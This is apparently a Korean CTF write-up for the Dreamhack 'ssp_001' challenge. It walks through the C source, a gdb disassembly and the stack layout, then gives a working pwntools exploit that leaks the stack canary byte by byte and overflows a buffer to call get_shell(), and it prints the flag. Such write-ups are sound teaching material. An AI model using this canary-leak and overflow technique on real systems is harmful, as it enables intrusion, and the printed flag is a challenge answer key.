반응형

ssp_001
0.01MB
ssp_001.c
0.00MB

 

 


소스 코드

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {}; // 64byte
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

 

이번 문제에서는 get_shell() 함수가 주어졌다.

 

unsigned char box[0x40] = {}; // 64byte
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;

 

5개의 변수가 있는데 총 0x90 크기이다.

 

while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}

 

while() 문으로 무한 루프를 돌고있는데, menu() 함수 호출로 메뉴들을 화면에 띄우고

 

사용자에게 2글자를 입력받는데, 입력된 2글자 중 첫 번째 글자가 F, P, E에 해당하면 해당하는 동작을 취한다.

 

F가 입력됐다면 "box input : " 문자열을 띄우고 box 변수의 사이즈만큼 box 변수에 사용자의 입력을 받아 넣는다.

 

P가 입력됐다면 "Element index : " 문자열을 띄우고 정수를 입력받아 idx 변수에 저장한 뒤 box와 idx를 인자로 하여 print_box() 함수를 호출한다.

print_box() 함수는 box 배열에서 idx 번째에 해당하는 값을 16진수 형태로 보여준다.

 

E가 입력됐다면 "Name Size : " 문자열을 띄우고 정수를 입력받아 name_len 변수에 저장한 후 "Name : " 문자열을 띄우고 name_len의 값만큼 사용자에게 입력받아 name 변수에 저장한다.

 

취약점은 P와 E의 scanf() 함수를 통해 사용자에게 입력받은 후 입력 받은 값을 검사하지 않고 바로 사용해서 발생한다.

 


리버싱

 

스택을 살펴보기 전 스택의 변수 선언 위치와 관련해 먼저 예측해본다.

 

Low name_len
  idx
  select
  name
  box
  canary
  sfp
  ret
  argc
  argv
High env

 

소스 코드만 봤을 때는 위와 같이 예측할 수 있지만 이는 확실하지 않다.

 

0x0804872b <+0>:	push   ebp
0x0804872c <+1>:	mov    ebp,esp
0x0804872e <+3>:	push   edi
0x0804872f <+4>:	sub    esp,0x94
0x08048735 <+10>:	mov    eax,DWORD PTR [ebp+0xc]
0x08048738 <+13>:	mov    DWORD PTR [ebp-0x98],eax
0x0804873e <+19>:	mov    eax,gs:0x14
0x08048744 <+25>:	mov    DWORD PTR [ebp-0x8],eax
0x08048747 <+28>:	xor    eax,eax
0x08048749 <+30>:	lea    edx,[ebp-0x88]
0x0804874f <+36>:	mov    eax,0x0
0x08048754 <+41>:	mov    ecx,0x10
0x08048759 <+46>:	mov    edi,edx
0x0804875b <+48>:	rep stos DWORD PTR es:[edi],eax
0x0804875d <+50>:	lea    edx,[ebp-0x48]
0x08048760 <+53>:	mov    eax,0x0
0x08048765 <+58>:	mov    ecx,0x10
0x0804876a <+63>:	mov    edi,edx
0x0804876c <+65>:	rep stos DWORD PTR es:[edi],eax
0x0804876e <+67>:	mov    WORD PTR [ebp-0x8a],0x0
0x08048777 <+76>:	mov    DWORD PTR [ebp-0x94],0x0
0x08048781 <+86>:	mov    DWORD PTR [ebp-0x90],0x0
0x0804878b <+96>:	call   0x8048672 <initialize>
0x08048790 <+101>:	call   0x80486f1 <menu>
0x08048795 <+106>:	push   0x2
0x08048797 <+108>:	lea    eax,[ebp-0x8a]
0x0804879d <+114>:	push   eax
0x0804879e <+115>:	push   0x0
0x080487a0 <+117>:	call   0x80484a0 <read@plt>
0x080487a5 <+122>:	add    esp,0xc
0x080487a8 <+125>:	movzx  eax,BYTE PTR [ebp-0x8a]
0x080487af <+132>:	movsx  eax,al
0x080487b2 <+135>:	cmp    eax,0x46
0x080487b5 <+138>:	je     0x80487c6 <main+155>
0x080487b7 <+140>:	cmp    eax,0x50
0x080487ba <+143>:	je     0x80487eb <main+192>
0x080487bc <+145>:	cmp    eax,0x45
0x080487bf <+148>:	je     0x8048824 <main+249>
0x080487c1 <+150>:	jmp    0x804887a <main+335>
0x080487c6 <+155>:	push   0x804896c
0x080487cb <+160>:	call   0x80484b0 <printf@plt>
---Type <return> to continue, or q <return> to quit---
0x080487d0 <+165>:	add    esp,0x4
0x080487d3 <+168>:	push   0x40
0x080487d5 <+170>:	lea    eax,[ebp-0x88]
0x080487db <+176>:	push   eax
0x080487dc <+177>:	push   0x0
0x080487de <+179>:	call   0x80484a0 <read@plt>
0x080487e3 <+184>:	add    esp,0xc
0x080487e6 <+187>:	jmp    0x804887a <main+335>
0x080487eb <+192>:	push   0x8048979
0x080487f0 <+197>:	call   0x80484b0 <printf@plt>
0x080487f5 <+202>:	add    esp,0x4
0x080487f8 <+205>:	lea    eax,[ebp-0x94]
0x080487fe <+211>:	push   eax
0x080487ff <+212>:	push   0x804898a
0x08048804 <+217>:	call   0x8048540 <__isoc99_scanf@plt>
0x08048809 <+222>:	add    esp,0x8
0x0804880c <+225>:	mov    eax,DWORD PTR [ebp-0x94]
0x08048812 <+231>:	push   eax
0x08048813 <+232>:	lea    eax,[ebp-0x88]
0x08048819 <+238>:	push   eax
0x0804881a <+239>:	call   0x80486cc <print_box>
0x0804881f <+244>:	add    esp,0x8
0x08048822 <+247>:	jmp    0x804887a <main+335>
0x08048824 <+249>:	push   0x804898d
0x08048829 <+254>:	call   0x80484b0 <printf@plt>
0x0804882e <+259>:	add    esp,0x4
0x08048831 <+262>:	lea    eax,[ebp-0x90]
0x08048837 <+268>:	push   eax
0x08048838 <+269>:	push   0x804898a
0x0804883d <+274>:	call   0x8048540 <__isoc99_scanf@plt>
0x08048842 <+279>:	add    esp,0x8
0x08048845 <+282>:	push   0x804899a
0x0804884a <+287>:	call   0x80484b0 <printf@plt>
0x0804884f <+292>:	add    esp,0x4
0x08048852 <+295>:	mov    eax,DWORD PTR [ebp-0x90]
0x08048858 <+301>:	push   eax
0x08048859 <+302>:	lea    eax,[ebp-0x48]
0x0804885c <+305>:	push   eax
0x0804885d <+306>:	push   0x0
0x0804885f <+308>:	call   0x80484a0 <read@plt>
0x08048864 <+313>:	add    esp,0xc
0x08048867 <+316>:	mov    eax,0x0
---Type <return> to continue, or q <return> to quit---
0x0804886c <+321>:	mov    edx,DWORD PTR [ebp-0x8]
0x0804886f <+324>:	xor    edx,DWORD PTR gs:0x14
0x08048876 <+331>:	je     0x8048884 <main+345>
0x08048878 <+333>:	jmp    0x804887f <main+340>
0x0804887a <+335>:	jmp    0x8048790 <main+101>
0x0804887f <+340>:	call   0x80484e0 <__stack_chk_fail@plt>
0x08048884 <+345>:	mov    edi,DWORD PTR [ebp-0x4]
0x08048887 <+348>:	leave
0x08048888 <+349>:	ret
End of assembler dump.

 

gdb로 ssp_001 바이너리 파일을 열어 main() 함수를 디스어셈블하면 위와 같다.

 

0x0804872b <+0>:	push   ebp
0x0804872c <+1>:	mov    ebp,esp
0x0804872e <+3>:	push   edi
0x0804872f <+4>:	sub    esp,0x94

 

스택 프롤로그 작업을 거친 뒤 edi 값을 스택에 넣는다.

 

그리고 esp 레지스터가 가리키는 위치에서 0x94만큼 빼 스택 공간을 늘림으로써 공간을 확보한다.

 

변수 선언의 총 크기가 0x90인데 스택에 0x94를 뺀 이유는 0x90 + 0x4(dummy)이기 때문이다.

(32bit 환경이므로 4byte)

 

0x08048735 <+10>:	mov    eax,DWORD PTR [ebp+0xc]
0x08048738 <+13>:	mov    DWORD PTR [ebp-0x98],eax
0x0804873e <+19>:	mov    eax,gs:0x14
0x08048744 <+25>:	mov    DWORD PTR [ebp-0x8],eax

ebp+0xc에 있는 값을 ebp-0x98 주소에 넣고, gs:0x14 값을 ebp-0x8 주소에 넣는다.

 

즉, canary 값을 설정하는 것이다.

 

Low  
ebp-0x8 canary
ebp-0x4 edi
  sfp
  ret
  argc
  argv
  env
High  

 

여기까지 스택 상황을 보면 위와 같다. 

 

0x08048747 <+28>:	xor    eax,eax
0x08048749 <+30>:	lea    edx,[ebp-0x88]
0x0804874f <+36>:	mov    eax,0x0
0x08048754 <+41>:	mov    ecx,0x10
0x08048759 <+46>:	mov    edi,edx
0x0804875b <+48>:	rep stos DWORD PTR es:[edi],eax

 

eax 레지스터의 값을 0으로 만든다.

 

eax에 0을 넣고, ecx에 0x10을 넣은 뒤 ebp-0x88 주소를 edi에 넣고 rep stos 명령을 실행한다.

 

그러면 ecx의 값 0x10만큼 반복하여 edi의 값 ebp-0x88 주소에 eax의 값 0x0을 복사한다.

 

0x0804875d <+50>:	lea    edx,[ebp-0x48]
0x08048760 <+53>:	mov    eax,0x0
0x08048765 <+58>:	mov    ecx,0x10
0x0804876a <+63>:	mov    edi,edx
0x0804876c <+65>:	rep stos DWORD PTR es:[edi],eax

 

eax에 0을 넣고, ecx에 0x10을 넣은 뒤 ebp-0x48 주소를 edi에 넣고 rep stos 명령을 실행한다.

 

위와 동일하게 ecx의 값 0x10만큼 반복하여 edi의 값 ebp-0x48 주소에 eax의 값 0x00을 복사한다.

 

0x0804876e <+67>:	mov    WORD PTR [ebp-0x8a],0x0
0x08048777 <+76>:	mov    DWORD PTR [ebp-0x94],0x0
0x08048781 <+86>:	mov    DWORD PTR [ebp-0x90],0x0

 

ebp-0x8a, ebp-0x94, ebp-0x90 주소에 0을 저장한다.

 

이는 변수 초기화 행위로 보이고, 소스 코드에서 select, idx, name_len 변수를 초기화 하는 구문과 같다.

 

주소의 공간을 참조하는 크기를 보면 ebp-0x8a 주소에 참조할 때는 WORD(2byte) 크기만큼 참조하므로 ebp-0x8a 주소가 select 변수인 것은 알 수 있다.

 

하지만 ebp-0x94와 ebp-0x90 둘 중 어떤 것이 idx 또는 name_len 변수인지는 추정만 할 수 있을 뿐 확실하지 않다.

 

이후에 해당 주소들을 사용하는 부분에서 확실하게 확인한다.

 

0x0804878b <+96>:	call   0x8048672 <initialize>
0x08048790 <+101>:	call   0x80486f1 <menu>

 

initialize() 함수와 menu() 함수를 호출한다.

 

0x08048795 <+106>:	push   0x2
0x08048797 <+108>:	lea    eax,[ebp-0x8a]
0x0804879d <+114>:	push   eax
0x0804879e <+115>:	push   0x0
0x080487a0 <+117>:	call   0x80484a0 <read@plt>
0x080487a5 <+122>:	add    esp,0xc

 

스택에 2, ebp-0x8a, 0을 넣고 read() 함수를 호출한다.

 

위에서 ebp-0x8a 주소는 select 변수임을 예측했었다.

 

0x080487a8 <+125>:	movzx  eax,BYTE PTR [ebp-0x8a]
0x080487af <+132>:	movsx  eax,al
0x080487b2 <+135>:	cmp    eax,0x46
0x080487b5 <+138>:	je     0x80487c6 <main+155>
0x080487b7 <+140>:	cmp    eax,0x50
0x080487ba <+143>:	je     0x80487eb <main+192>
0x080487bc <+145>:	cmp    eax,0x45
0x080487bf <+148>:	je     0x8048824 <main+249>
0x080487c1 <+150>:	jmp    0x804887a <main+335>

 

select 변수에 해당하는 주소 ebp-0x8a 주소에서 1byte 값이 46(F), 50(P), 45(E)와 같은지 비교한다.

 

F와 같으면 0x80487c6 주소로 점프하고, P와 같으면 0x80487eb 주소로 점프하며, E와 같으면 0x8048824 주소로 점프하고

3개 모두 비교 후 같은 게 없을 경우 0x804887a 주소로 점프하고, 0x8048790 주소로 점프하여 menu() 함수를 호출한다.

 

0x080487c6 <+155>:	push   0x804896c
0x080487cb <+160>:	call   0x80484b0 <printf@plt>
0x080487d0 <+165>:	add    esp,0x4
0x080487d3 <+168>:	push   0x40
0x080487d5 <+170>:	lea    eax,[ebp-0x88]
0x080487db <+176>:	push   eax
0x080487dc <+177>:	push   0x0
0x080487de <+179>:	call   0x80484a0 <read@plt>
0x080487e3 <+184>:	add    esp,0xc
0x080487e6 <+187>:	jmp    0x804887a <main+335>

 

F가 입력되어 0x080487c6 주소로 점프했을 경우 

 

0x804896C 주소를 스택에 넣고 printf() 함수를 호출하여 문자열을 띄운다.

 

0x40, ebp-0x88, 0을 스택에 넣고 read() 함수를 호출한다.

 

즉, ebp-0x88 주소는 box 배열의 주소이다.

 

0x080487eb <+192>:	push   0x8048979
0x080487f0 <+197>:	call   0x80484b0 <printf@plt>
0x080487f5 <+202>:	add    esp,0x4
0x080487f8 <+205>:	lea    eax,[ebp-0x94]
0x080487fe <+211>:	push   eax
0x080487ff <+212>:	push   0x804898a
0x08048804 <+217>:	call   0x8048540 <__isoc99_scanf@plt>
0x08048809 <+222>:	add    esp,0x8
0x0804880c <+225>:	mov    eax,DWORD PTR [ebp-0x94]
0x08048812 <+231>:	push   eax
0x08048813 <+232>:	lea    eax,[ebp-0x88]
0x08048819 <+238>:	push   eax
0x0804881a <+239>:	call   0x80486cc <print_box>
0x0804881f <+244>:	add    esp,0x8
0x08048822 <+247>:	jmp    0x804887a <main+335>

 

P가 입력되어 0x080487eb 주소로 점프했을 경우 

 

0x8048979 주소를 스택에 넣고 printf() 함수를 호출하여 문자열을 띄운다.

 

ebp-0x94 주소, 0x804898a 주소를 스택에 넣고 scanf() 함수를 호출한다.

 

사용자가 입력한 값이 ebp-0x94 주소에 담기게 되고, ebp-0x94 주소에 있는 값을 스택에 넣고, ebp-0x88 주소를 스택에 넣은 뒤 print_box() 함수를 호출한다.

 

ebp-0x88 주소는 box 배열의 주소이고, ebp-0x94 주소는 idx 라는 것이 확실해졌다.

 

0x08048824 <+249>:	push   0x804898d
0x08048829 <+254>:	call   0x80484b0 <printf@plt>
0x0804882e <+259>:	add    esp,0x4
0x08048831 <+262>:	lea    eax,[ebp-0x90]
0x08048837 <+268>:	push   eax
0x08048838 <+269>:	push   0x804898a
0x0804883d <+274>:	call   0x8048540 <__isoc99_scanf@plt>
0x08048842 <+279>:	add    esp,0x8
0x08048845 <+282>:	push   0x804899a
0x0804884a <+287>:	call   0x80484b0 <printf@plt>
0x0804884f <+292>:	add    esp,0x4
0x08048852 <+295>:	mov    eax,DWORD PTR [ebp-0x90]
0x08048858 <+301>:	push   eax
0x08048859 <+302>:	lea    eax,[ebp-0x48]
0x0804885c <+305>:	push   eax
0x0804885d <+306>:	push   0x0
0x0804885f <+308>:	call   0x80484a0 <read@plt>
0x08048864 <+313>:	add    esp,0xc

 

E가 입력되어 0x08048824 주소로 점프했을 경우 

 

0x804898d 주소를 스택에 넣고 printf() 함수를 호출하여 문자열을 띄운다.

 

ebp-0x90 주소, 0x804898a 주소를 스택에 넣고 scanf() 함수를 호출한다.

 

0x804899a 주소를 스택에 넣고 printf() 함수를 호출하여 문자열을 띄운다.

 

ebp-0x90 주소, ebp-0x48, 0을 스택에 넣고 read() 함수를 호출한다.

 

그렇다면 ebp-0x90 주소는 name_len 변수의 주소임이 확실해졌고, ebp-0x48은 name 배열의 주소이다.

 

0x08048867 <+316>:	mov    eax,0x0
---Type <return> to continue, or q <return> to quit---
0x0804886c <+321>:	mov    edx,DWORD PTR [ebp-0x8]
0x0804886f <+324>:	xor    edx,DWORD PTR gs:0x14
0x08048876 <+331>:	je     0x8048884 <main+345>
0x08048878 <+333>:	jmp    0x804887f <main+340>
0x0804887a <+335>:	jmp    0x8048790 <main+101>
0x0804887f <+340>:	call   0x80484e0 <__stack_chk_fail@plt>
0x08048884 <+345>:	mov    edi,DWORD PTR [ebp-0x4]
0x08048887 <+348>:	leave
0x08048888 <+349>:	ret

 

마지막으로 eax 레지스터를 0으로 만든 후 ebp-0x8의 값을 edx로 가져와 gs:0x14의 값과 xor 연산하여 canary 검사를 한다.

 

xor 연산 결과 0이면, 0x8048884 주소로 점프하여 edi 값을 되돌린 뒤 프로그램이 종료되고

xor 연산 결과 0이 아니면, 0x804887f 주소로 점프한 후 __stack__chk_fail 함수를 호출한다.

 

Low   size
ebp-0x94 idx 4
ebp-0x90 name_len 4
ebp-0x8a select 2
ebp-0x88 box 0x40
ebp-0x48 name 0x40
ebp-0x8 canary 4
ebp-0x4 edi 4
  sfp 4
  ret 4
  argc  
  argv  
  env  
High    

 

위의 내용을 바탕으로 스택을 구성해보면 위와 같다.

 


get_shell() 함수 주소

 

 

gdb에서 get_shell() 함수의 주소를 보면 0x080486b9이다.

 


exploit

 

Low   size
ebp-0x94 idx 4
ebp-0x90 name_len 4
ebp-0x8a select 2
ebp-0x88 box 0x40
ebp-0x48 name 0x40
ebp-0x8 canary 4
ebp-0x4 edi 4
  sfp 4
  ret 4
  argc  
  argv  
  env  
High    

 

menu() 함수 호출로 메뉴가 보일 때 P와 E에서 취약점이 발생한다고 했었다.

 

P를 입력했을 때 scanf() 함수로 정수를 입력 받아 idx에 저장하고, box[idx] 형태로 참조하여 화면에 보여주는데

이때 사용자가 입력한 값이 box 배열의 인덱스를 넘는가에 대한 검사가 없으므로

box의 공간 0x40 + name의 공간 0x40하여 총 0x80(128)을 인덱스로하면 canary 영역에서 값을 읽어 화면에 보여줄 것이다.

하지만 화면에 보여줄 때 한 바이트만 보여주므로 32bit 환경의 canary 값 4byte를 다 가져오기 위해서는 4번 반복을 해야 한다.

게다가 메모리에 저장할 때 리틀엔디언 방식으로 저장됐다는 점도 고려해야 한다.

이렇게 하면 canary 값을 가져올 수 있다.

 

E를 입력했을 때는 scanf() 함수로 정수를 입력 받아 name_len에 저장하고
name_len의 값만큼 사용자에게 입력받아 name에 저장하는데

name_len을 사용자가 임의로 지정할 수 있으므로 넉넉히 값을 주고
name에 데이터를 넣을 때는 name_len의 크기를 넘지 않는 선에서 payload를 넣으면 된다.

즉, name_len에 크기를 넉넉하게 입력하면 name에 payload를 입력할 때 불편하지 않을 것이다.

그리고 주의해야 할 점은 read() 함수로 사용자에게 입력을 받을 경우 pwntools 이용할 때 "send"만 적어주고
scanf() 함수로 사용자에게 입력을 받을 경우 pwntools 이용할 때 "sendline"을 적어줘야 한다.

ex)
read -> sendafter
scanf -> sendlineafter

 

위의 내용을 바탕으로 메모리 구성을 그려보자면 아래와 같다.

크기 0x40 0x4 0x4 0x4 0x4
영역 name canary edi sfp ret
a * 40 canary 값 b * 4 b * 4 get_shell() 함수 주소

 

위의 내용들을 모두 적용한 exploit 코드는 아래와 같다.

from pwn import *

p = remote('host3.dreamhack.games', 19218)

context.arch = "i386"

canary = b''
get_shell = p32(0x080486b9)

for i in range(131, 127, -1): # little endian
    p.sendafter(b'> ', b'P')
    p.sendlineafter(b'Element index : ', bytes(str(i), 'utf-8'))
    p.recvuntil(b'is : ')
    #print("type : ", type(p.recv(2)));
    #canary += p.recvuntil('\n')
    canary += p.recv(2)

canary = int(canary, 16)

payload = b'a' * 0x40 + p32(canary) + b'b' * 0x8 + get_shell

p.sendafter(b'> ', b'E')
p.sendlineafter(b'Name Size : ', b'100')
p.sendafter(b'Name : ', payload)

p.interactive()

DH{00c609773822372daf2b7ef9adbdb824}
반응형

'전쟁 > Dreamhack Pwn' 카테고리의 다른 글

[Dreamhack pwn] rop  (2) 2023.01.14
[Dreamhack pwn] Return to Library  (0) 2023.01.07
[Dreamhack pwn] Return to Shellcode  (0) 2023.01.05
[Dreamhack pwn] basic_exploitation_001  (0) 2022.12.31
[Dreamhack pwn] basic_exploitation_000  (3) 2022.12.24

+ Recent posts